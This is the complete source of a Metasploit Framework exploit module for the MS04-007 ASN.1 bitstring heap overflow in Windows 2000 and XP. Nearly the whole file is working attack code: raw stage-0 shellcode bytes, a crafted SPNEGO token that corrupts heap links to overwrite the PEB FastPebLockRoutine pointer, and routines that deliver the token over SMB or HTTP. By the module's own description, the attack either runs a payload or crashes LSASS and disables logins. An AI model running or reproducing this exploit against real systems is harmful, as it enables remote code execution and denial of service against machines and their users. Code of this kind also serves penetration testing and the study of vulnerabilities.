Microsoft Windows – ASN.1 Library Bitstring Heap Overflow (MS04-007) (Metasploit)
## # $Id: ms04_007_killbill.rb 9929 2010-07-25 21:37:54Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = LowRanking include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft ASN.1 Library Bitstring Heap Overflow', 'Description' => %q{ This is an exploit for a previously undisclosed vulnerability in the bit string decoding code in the Microsoft ASN.1 library. This vulnerability is not related to the bit string vulnerability described in eEye advisory AD20040210-2. Both vulnerabilities were fixed in the MS04-007 patch. You are only allowed one attempt with this vulnerability. If the payload fails to execute, the LSASS system service will crash and the target system will automatically reboot itself in 60 seconds. If the payload succeeeds, the system will no longer be able to process authentication requests, denying all attempts to login through SMB or at the console. A reboot is required to restore proper functioning of an exploited system. This exploit has been successfully tested with the win32/*/reverse_tcp payloads, however a few problems were encounted when using the equivalent bind payloads. Your mileage may vary. }, 'Author' => [ 'Solar Eclipse <solareclipse@phreedom.org>' ], 'License' => GPL_LICENSE, 'Version' => '$Revision: 9929 $', 'References' => [ [ 'CVE', '2003-0818'], [ 'OSVDB', '3902' ], [ 'BID', '9633'], [ 'URL', 'http://www.phreedom.org/solar/exploits/msasn1-bitstring/'], [ 'MSB', 'MS04-007'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 SP2-SP4 + Windows XP SP0-SP1', # Tested OK - 11/25/2005 hdm (bind failed) { 'Platform' => 'win', }, ], ], 'DisclosureDate' => 'Feb 10 2004', 'DefaultTarget' => 0)) register_options( [ OptString.new('PROTO', [ true, "Which protocol to use: http or smb", 'smb']), ], self.class) end # This exploit is too destructive to use during automated exploitation. # Better Windows-based exploits exist at this time (Sep 2006) def autofilter false end # This is a straight port of Solar Eclipse's "kill-bill" exploit, published # as a Metasploit Framework module with his permission. This module is only # licensed under GPLv2, keep this in mind if you embed the Framework into # a non-GPL application. -hdm[at]metasploit.com def exploit # The first stage shellcode fixes the PEB pointer and cleans the heap stage0 = "\x53\x56\x57\x66\x81\xec\x80\x00\x89\xe6\xe8\xed\x00\x00\x00\xff"+ "\x36\x68\x09\x12\xd6\x63\xe8\xf7\x00\x00\x00\x89\x46\x08\xe8\xa2"+ "\x00\x00\x00\xff\x76\x04\x68\x6b\xd0\x2b\xca\xe8\xe2\x00\x00\x00"+ "\x89\x46\x0c\xe8\x3f\x00\x00\x00\xff\x76\x04\x68\xfa\x97\x02\x4c"+ "\xe8\xcd\x00\x00\x00\x31\xdb\x68\x10\x04\x00\x00\x53\xff\xd0\x89"+ "\xc3\x56\x8b\x76\x10\x89\xc7\xb9\x10\x04\x00\x00\xf3\xa4\x5e\x31"+ "\xc0\x50\x50\x50\x53\x50\x50\xff\x56\x0c\x8b\x46\x08\x66\x81\xc4"+ "\x80\x00\x5f\x5e\x5b\xff\xe0\x60\xe8\x23\x00\x00\x00\x8b\x44\x24"+ "\x0c\x8d\x58\x7c\x83\x43\x3c\x05\x81\x43\x28\x00\x10\x00\x00\x81"+ "\x63\x28\x00\xf0\xff\xff\x8b\x04\x24\x83\xc4\x14\x50\x31\xc0\xc3"+ "\x31\xd2\x64\xff\x32\x64\x89\x22\x31\xdb\xb8\x90\x42\x90\x42\x31"+ "\xc9\xb1\x02\x89\xdf\xf3\xaf\x74\x03\x43\xeb\xf3\x89\x7e\x10\x64"+ "\x8f\x02\x58\x61\xc3\x60\xbf\x20\xf0\xfd\x7f\x8b\x1f\x8b\x46\x08"+ "\x89\x07\x8b\x7f\xf8\x81\xc7\x78\x01\x00\x00\x89\xf9\x39\x19\x74"+ "\x04\x8b\x09\xeb\xf8\x89\xfa\x39\x5a\x04\x74\x05\x8b\x52\x04\xeb"+ "\xf6\x89\x11\x89\x4a\x04\xc6\x43\xfd\x01\x61\xc3\xa1\x0c\xf0\xfd"+ "\x7f\x8b\x40\x1c\x8b\x58\x08\x89\x1e\x8b\x00\x8b\x40\x08\x89\x46"+ "\x04\xc3\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea"+ "\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x38\x49\x8b\x34\x8b\x01\xee"+ "\x31\xff\x31\xc0\xfc\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb"+ "\xf4\x3b\x7c\x24\x24\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b"+ "\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2"+ "\x08\x00\xeb\xfe" token = spnego_token(stage0, payload.encoded) case datastore['PROTO'] when 'smb' exploit_smb(token) when 'http' exploit_http(token) else print_status("Invalid application protocol specified, use smb or http") end end def exploit_smb(token) connect client = Rex::Proto::SMB::Client.new(sock) begin client.session_request(smb_hostname()) if not datastore['SMBDirect'] client.negotiate client.session_setup_ntlmv2_blob(token) rescue => e if (e.to_s =~ /error code 0x00050001/) print_error("The target system has already been exploited") else print_error("Error: #{e}") end end handler disconnect end def exploit_http(token) connect req = "GET / HTTP/1.0\r\n" req << "Host: #{ datastore['RHOST']}\r\n" req << "Authorization: Negotiate #{Rex::Text.encode_base64(token, '')}\r\n\r\n" sock.put(req) res = sock.get_once if (res and res =~ /0x80090301/) print_error("This server does not support the Negotiate protocol or has already been exploited") end if (res and res =~ /0x80090304/) print_error("This server responded with error code 0x80090304 (wth?)") end handler disconnect end # Returns an ASN.1 encoded string def enc_asn1(str) Rex::Proto::SMB::Utils::asn1encode(str) end # Returns an ASN.1 encoded bit string with 0 unused bits def enc_bits(str) "\x03" + enc_asn1("\x00" + str) end # Returns a BER encoded constructed bit string def enc_constr(*str_arr) "\x23" + enc_asn1(str_arr.join('')) end # Returns a BER encoded SPNEGO token def spnego_token(stage0, stage1) if !(stage0 and stage1) print_status("Invalid parameters passed to spnego_token") return end if (stage0.length > 1032) print_status("The stage 0 shellcode is longer than 1032 bytes") return end tag = "\x90\x42\x90\x42\x90\x42\x90\x42" if ((tag.length + stage1.length) > 1033) print_status("The stage 1 shellcode is too long") return end # The first two overwrites must succeed, so we write to an unused location # in the PEB block. We don't care about the values, because after this the # doubly linked list of free blocks is corrupted and we get to the second # overwrite which is more useful. fw = "\xf8\x0f\x01\x00" # 0x00010ff8 bk = "\xf8\x0f\x01" # The second overwrite writes the address of our shellcode into the # FastPebLockRoutine pointer in the PEB peblock = "\x20\xf0\xfd\x7f" # FastPebLockRoutine in PEB bitstring = enc_constr( enc_bits("A" * 1024), "\x03\x00", enc_constr( enc_bits(tag + stage1 + ("B" * (1033-(tag+stage1).length))), enc_constr( enc_bits(fw + bk) ), enc_constr( enc_bits("CCCC" + peblock + stage0 + ("C" * (1032-stage0.length))), enc_constr( enc_bits("\xeb\x06" + make_nops(6)), enc_bits("D" * 1040) ) ) ) ) token = "\x60" + enc_asn1( # Application Constructed Object "\x06\x06\x2b\x06\x01\x05\x05\x02" + # SPNEGO OID "\xa0" + enc_asn1( # NegTokenInit (0xa0) "\x30" + enc_asn1( "\xa1" + enc_asn1( bitstring ) ) ) ) return token end end |